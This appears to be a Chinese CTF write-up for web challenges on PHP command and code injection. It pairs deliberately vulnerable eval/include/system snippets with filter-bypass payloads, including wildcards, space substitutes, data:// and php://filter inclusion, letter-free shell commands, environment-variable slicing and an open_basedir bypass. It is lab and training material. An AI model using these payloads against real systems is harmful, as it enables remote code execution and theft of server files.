Web入门:
爆破:
web24伪随机数
通过mt_srand()分发种子(播种),有了种子后随机数也就确定了(随机就那一组了,因此说伪随机)
mt_scrand() //播种 Mersenne Twister 随机数生成器。
mt_rand() //生成随机数
详细请参考:php伪随机数
解题脚本:
<?php
mt_srand(372619038);
echo(mt_rand());
?>
web28
要求扫描目录
扫描这两个目录,各从0到100
但扫描时注意 不能加上 2.txt
否则就是扫描文件了,而不是扫描目录
一般目录都是默认打开index文件的,即目录会有默认打开的文件
阅读文章:
1.命令执行绕过小技巧(必看)
2.关于命令执行/注入 以及常见的一些绕过过滤的方法(必看)
3.CTF中的命令执行绕过方式
4.命令执行漏洞,绕过过滤姿势
5.巧用命令注入的N种方式(此文略长…但详细)
eval()
:bash函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码,且必须以分号结尾
eval()通常配合system()、exec()等命令函数才能执行Linux下的命令
如:eval( system(‘ls’); )
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
*
在Linux下代表0个或多个 任意字符
?
在Linux下代表一个任意字符
除了通配符,还有\
与 ''
与""
(空字符拼接)
flag.php <=> fl''ag.php <=> fl\ag.php
payload:
c=system("cat f*");
c=system("cat fla?????"); //即:cat flag.php
c=echo`nl fl''ag.php`; //注意是反引号 ` 而不是单引号 '
c=echo`nl fl\ag.php`;
c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
只有system()、passthru()可以回显内容,其他需要加上 echo
1.system('')
2.exec('')
3.passthru('')
4.shell_exec('')
5.` ` \\反引号(里面的内容当作命令执行)
还有以下,但自己没成功使用
6.popen()
7.proc_open()
8.pcntl_exec()
9.使用内置函数:get_defined_functions():返回所有已定义函数的数组
不过需要事先知道PHP版本,因为内置的函数位置因版本而不同
10.利用反射类(相当于call_user_func())
$function = new ReflectionFunction('system');
echo $function->invoke('ls');
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
payload:
?c=echo `cat fla*`;
?c=echo exec(' cat fla*'); fla*换成fla?????也一样
?c=echo exec(' nl fla*'); nl = cat + 行号
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
< 与<> 重定向符
%09 (需要php环境)
${IFS}
$IFS$9 为什么要加$9?因为单纯一个$IFS可能被认为是变量,$9起到截断作用
{cat,flag.php} //用逗号实现了空格功能,需要用 {} 括起来
%20(space)
%09(tab)
\t(同上,tab)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
paste:按列对齐的方式查看文件
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
base64: 利用了/bin/base64 将文件base64编码读出
sed: 读取1.txt所有行 sed -n "p" 1.txt
paste:合并文件的列
diff
bzmore
bzless
pcre
?c=echo`less%09fla?????`;
?c=echo%09exec("less%09fla?????");
?c=include($_GET["pass"]);?>&pass=php://filter/read=convert.base64-encode/resource=flag.php
?c=eval($_GET["pass"]);&pass=system("cat flag.php"); //注意末尾的分号
?c=eval($_GET["pass"]);?>&pass=system("cat flag.php");
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)) //这里增加过滤了分号;、括号(、反引号`和echo
{
eval($c);
}
}else{
highlight_file(__FILE__);
}
括号 被过滤了
1.include"××" <=> include "××" <=>include×× <=>include ××
(加不加引号一样) (加不加空格一样)
2.include"$_POST[pass]" <=> include$_POST["pass"]
?>
等价于;
include包含php文件不会在页面显示出来,因此通过伪协议读取
payload:
1.
?c=include"$_POST[pass]"?>
pass=php://filter/read=convert.base64-encode/resource=flag.php
2.
?c=include"$_GET[pass]"?>&pass=php://filter/read=convert.base64-encode/resource=flag.php
Firefox、Chrome和Opera等浏览器支持data URI协议(IE 6不支持),格式非常简单:
data:资源类型;编码,内容
即以data:开头,后分别制定MIME类型,字符集,数据是否已Base64编码,以及数据部分。
如果没有指定MIME类型,那么浏览器就会用默认的text/plain代替;
如果没有指定charset,浏览器会用默认的‘;charset=US-ASCII’代替;
简单来说,要生成一个html资源,可以这样:
data:text/html;ascii,<html><title>hello</title><body>world</body></html>
将以上代码复制到浏览器地址栏,打开就能看到效果了。
include
-----------------------------------------------------------------------------------------
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?c=data://text/palin,<?php system("cat fla*");?>
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
通过base64绕过,将编码
payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
给定了后缀
c=data:text/plain,
这样就相当于执行了php语句.php
因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了括号、空格、引号、冒号、双斜杠…
用到的函数:
print_r()
用于打印变量(var_dump()
有一样效果)
localeconv()
函数返回一包含本地数字及货币格式信息的数组。该数组的第一项返回的 是.
(小数点字符)
{
pos()
函数返回数组中的当前元素(单元),默认取第一个值,
current()
同pos()
reset()
函数返回数组第一个单元的值,如果数组为空则返回 FALSE
}
scandir()
获取目录下的文件
array_reverse()
数组逆序
next()
函数将内部指针指向数组中的下一个元素,并输出。
先给出payload:
一步步分解看:
?c=print_r(localeconv());
?c=print_r(pos(localeconv()));
?c=print_r(scandir(pos(localeconv())));得到当前目录下的文件名
相当于print_r(scandir('.'))
可以用来查看当前目录所有文件名
?c=print_r(array_reverse(scandir(pos(localeconv())))); 将数组反向
?c=print_r(next(array_reverse(scandir(pos(localeconv())))));将数组指针指向下一个数组元素
?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); 使用highlight_file()读取文件
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
/dev/null 2>&1
//会将标准输出,错误输出都重定向至/dev/null,也就是全部丢弃
可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到
需要绕过/dev/null 2>&1
,即不执行它
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令(前提是:前面的命令是正确的)
& //两条命令都会执行
&& //两条命令都会执行
%0a //换行符
payload:
?c=cat flag.php;
?c=cat flag.php||
?c=cat flag.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
payload:
?c=nl<>f''lag.php||
这里用<>
<
绕过空格(不知道为什么不能用${IFS}、$IFS…)
''
与""
空字符拼接绕过flag(不知道为什么不能用通配符…)
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
要求字符串中不能匹配到cat、flag…
注意,可以用fla?
通配符的方式绕过文件名中的flag,因为fla?
没有g,不会满足匹配的条件*f.*l.*a.*g.*
payload1:
?c=paste${IFS}fla?.php
payload2:
/bin/?at${IFS}f??????? //利用/bin目录下的cat执行命令
payload3:
?c=grep${IFS}{${IFS}fla?????
grep:
grep [选项] “模式” [文件]
grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
?c=grep { flag.php 在当前目录下的flag.php文件中,查找含有{字样的所有行,并返回满足条件的行
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题居然连字母都不允许!
解题方法类似于上一题,用到了/bin
目录和?
通配符
这里我们可以利用 base64 中的64 进行通配符匹配
即 /bin/base64 flag.php
?c=/???/????64 ????.???
payload: ?c=/???/???/????2 ????.??? 然后在url + /flag.php.bz2
原型是: ?c=/usr/bin/bzip2 flag.php
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 bzip2、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin
下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
详情看P神的:无字母数字webshell之提高篇
先给出参数c的值:?c=.%20/???/????????[@-[]
两个Linux shell知识点:
shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替
.
或者叫period
,它的作用和source
一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file
执行文件,是不需要file有x
权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
。文件名最后6个字符是随机的大小写字母。
翻开ascii码表,可见大写字母位于@与[之间
利用 [@-[] 来表示一位的大写字母:
我们假设最后一位是大写字母。构造出:
/???/????????[@-[]
原型:/tmp/php××××××
到这里,我们可以确定使用.
调用shell来执行一个文件中的命令
问:
①如何使用.
来执行文件
②如何使目标服务器有一个可控文件
③可控文件写什么上去
①:
点+空格+文件名,这种方式不要求文件一定具有可执行权限
点+斜杠+文件名, 这种方式要求文件必须有可执行权限
因此:我们当然使用点+空格+文件名
的方式执行文件,因为不需要权限
②:
POST一个文件到目标服务器上。
首先构造一个能上传文件的网页。代码如下:
DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POCtitle>
head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
form>
body>
html>
③
可控文件的内容如下:
#! /bin/sh //此行内容是固定的。
ls //此行写命令
#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
此时,目标站点上产生一个临时文件
传参:?c=.%20/???/????????[@-[]
(文件名随机的,有可能文件名最后一位不是大写,多试几次即可)
执行 Shell 脚本的多种方式:
(1) 点+斜线+文件名, 这种方式要求文件必须有可执行权限;
(2) 点+空格+文件名,这种方式不要求文件一定具有可执行权限。
(3) sh+空格+文件名,这种方式不要求文件一定具有可执行权限。
(4) source+空格+文件名,这种方式不要求文件一定具有可执行权限。
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
要求我们传参:36
此题有点“变态”…
$(())
是数学运算符,里面是运算式
echo $((1+1))
-->2
echo $(())
--> 0
~
是按位取反符(正数取反,绝对值+1;负数取反,绝对值-1)
~0
-->-1
(本题利用此数学式)
~1
-->-2
~2
-->-3
~-2
-->1
echo $((~$(())))
<=> echo $((~0))
<=>-1
echo $((~$(())))$((~$(())))
<=>echo $((~0))$((~0))
<=>-1-1
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
拓展:
$()
与反引号
一样可以执行命令
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
highlight_file("flag.php")
show_source("flag.php")
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c); //执行的echo字符串留在缓存区
$s = ob_get_contents(); //缓存区内容传给$s
ob_end_clean(); //清除输出缓存区,同时关闭缓存区,导致原本的内容无法输出
echo preg_replace("/[0-9]|[a-z]/i","?",$s); //echo输出,此时不经过缓存区。
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
详情看:php中的缓存详解
ob缓存是把服务器执行php脚本时候所打印(echo)出的字符先缓存在内存中,然后在php脚本执行完毕的时候把这些字符串一次性全部发给浏览器端。记住,仅仅是echo(打印)出来的字符串能够缓存到ob缓存中。
ob_get_contents()
返回输出缓冲区的内容
ob_end_clean()
清空(擦除)缓冲区并关闭输出缓冲
此题利用exit()
结束脚本,不执行后面的语句
include包含文件,因为可执行命令的函数与字符 都被过滤了
c=include("/flag.txt");exit();
代码跟上题的一样,过滤了可执行命令的函数,但还过滤了include且flag的位置不知道在哪
glob:// PHP文档
c=
$it = new DirectoryIterator("glob:///*");
foreach($it as $f){
print($f);
};exit();
//通过这个脚本发现flag在flag0.txt
//之后利用UAF的脚本进行命令执行
上面这脚本简单的说就是用glob协议遍历根目录下的文件,由此得知flag0.txt
尝试用include包含文件,不成功
这是因为open_basedir
限制我们读取的目录,include自然读取不了,但对上述的glob协议是无效的
利用UAF绕过open_basedir
:
利用脚本查看根目录,找到flag文件
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
payload:
?c=include"flag.txt";exit();
构造出nl flag.php
这条命令,只需要找到一个n
一个l
即可,flag.php
使用通配符
Fuzz测试一下,是有过滤的,将数字与小写字母过滤了
但是$、大写字母、{、}
这些都没被过滤,可以使用Linux环境变量
$PATH:决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻编译链接。
设定解释器搜索所执行的命令的路径。
$PWD 获得当前工作目录路径的字符串值
$PWD
的工作目录在此题就是/var/www/html
$PATH
的路径一般都是/bin
结尾的
root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1} //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1} //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1} //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A} //字母代表0
t
~是取反号,表示逆序
可见:${PWD:~A}与 ${PWD:~0}有一样的效果,都是表示最后一位,字母起到的作用是和0相同的
payload:
${PATH:~A}${PWD:~A} ????.???
通过了数据库读取文件,耳目一新的感觉。只能说长见识了
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
这题过滤了PATH,具体为什么我也不知道,起码,用PATH是做不出来了
内置变量用不了,我们可考虑/bin
目录下的工具:cat 、base64这些都是可以用的,最关键的问题就是能够匹配出来
${var} 输出:变量var的值 同: $var
${PWD} 当前工作目录,输出:/root
${#var} 输出该变量var的值的长度
${#PWD} 输出:5
注:${#} 输出:0
注:${HOME}默认是/root
了解两个内置变量:$SHLVL 和 $RANDOM
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器
${SHLVL}
默认从1 开始,进程第一次打开shell时${SHLVL}=1
,然后在此shell中再打开一个shell时${SHLVL}=2
RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。
${#RANDOM}
表示随机数的长度 ,1到5都是有可能的,但实际上:随机数是4位和5位数的机率偏大,${#RANDOM}=4或5
的机率很大
payload:
${PWD::${#SHLVL}???${PWD::${#SHLVL}?????${#RANDOM} ????.???}
反复试几次,因为${#RANDOM}不一定等于4
解法二:/bin/cat flag.php
0
表示方法:${#}
1
表示方法:${SHLVL}
/
表示方法:${PWD:0:1}
。因为数字被过滤了,变成 ${PWD::${SHLVL}}
t
表示方法:${${HOME}:${#RANDOM}:${SHLVL}}
,容器的hostname应该是4个字母,所以${#HOSTNAME}可以从第5位开始(这里是别的师傅的做法,不大懂为什么hostname应该等于4个字母)
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo ''.'you are so long , I dont like '.'';
}
else{
echo ''.system($code).'';
}
}
else{
echo 'evil input';
}
}
?>
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
# /bin/base64 flag.php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo ''.'you are so long , I dont like '.'';
}
else{
echo ''.system($code).'';
}
}
else{
echo 'evil input';
}
}
?>
过滤了很多内置变量,但是PWD
、base64
和RANDOM
还可以用
SHLVL
被过滤,那么如何表示1
呢?
$? :最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
$# :添加到Shell的参数个数
${##}=1
${#?}=1(上条命令成功执行时才行)
payload:
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
过滤了#
和PWD
PWD
可用HOME
代替
#
就是为了得到1
这里需要再次使用$?
$? :最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
${ } 与
payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
/bin/base64 flag.php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
base_convert(number,frombase,tobase);
参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
解法一:构造出_GET
echo base_convert('hex2bin',36,10) //输出37907361743
36进制包括了所有数字与大小写字母
echo hexdec(bin2hex('_GET')) //输出1598506324
得到所需的10进制后,反过来即可得到_GET
echo base_convert(37907361743,10,36) //hex2bin
echo base_convert(37907361743,10,36)(dechex(1598506324)) //_GET
#即:hex2bin(dechex(1598506324))
要构造的payload:
c=system(cat f*)
因为system()不在白名单中
c=$pi=_GET;$_GET[abs]($_GET[acos])&abs=system&acos=cat f*
$pi=_GET是为了减少payload长度
中括号可用花括号代替,代换后:
c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=cat f*
再将_GET代换
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));;$$pi{abs}($$pi{acos})&abs=system&acos=cat f*
?c=system(getallheaders(){1})
base_convert(8768397090111664438,10,30)利用30进制得到getallheaders
base_conbert(1751504350,10,36) 36进制得到system
?c=$pi=base_convert;$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})